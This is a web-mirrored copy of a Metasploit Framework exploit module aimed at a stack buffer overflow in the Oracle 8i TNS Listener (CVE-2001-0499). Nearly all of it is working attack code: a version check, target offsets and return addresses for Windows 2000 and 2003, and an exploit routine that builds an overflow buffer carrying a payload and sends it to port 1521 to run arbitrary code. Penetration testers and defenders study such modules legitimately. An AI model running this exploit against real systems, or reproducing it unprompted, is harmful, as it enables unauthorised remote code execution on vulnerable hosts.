Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/oracle/tns_arguments.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::TNS
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Oracle 8i. When
18
sending a specially crafted packet containing an overly long
19
ARGUMENTS string to the TNS service, an attacker may be able
20
to execute arbitrary code.
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2001-0499' ],
26
[ 'OSVDB', '9427'],
27
[ 'BID', '2941' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'process',
32
},
33
'Payload' => {
34
'Space' => 600,
35
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ],
41
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6379, 'Ret' => 0x60a1e154 }],
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2001-06-28',
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options([Opt::RPORT(1521)])
54
end
55
56
def check
57
connect
58
version = "(CONNECT_DATA=(COMMAND=VERSION))"
59
pkt = tns_packet(version)
60
sock.put(pkt)
61
sock.get_once
62
res = sock.get_once(-1, 1)
63
disconnect
64
65
if (res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/)
66
return Exploit::CheckCode::Appears
67
end
68
69
return Exploit::CheckCode::Safe
70
end
71
72
def exploit
73
connect
74
75
buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
76
buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
77
buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)
78
79
sploit = "(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))"
80
81
pkt = tns_packet(sploit)
82
83
print_status("Trying target #{target.name}...")
84
sock.put(pkt)
85
86
handler
87
88
disconnect
89
end
90
end
91
92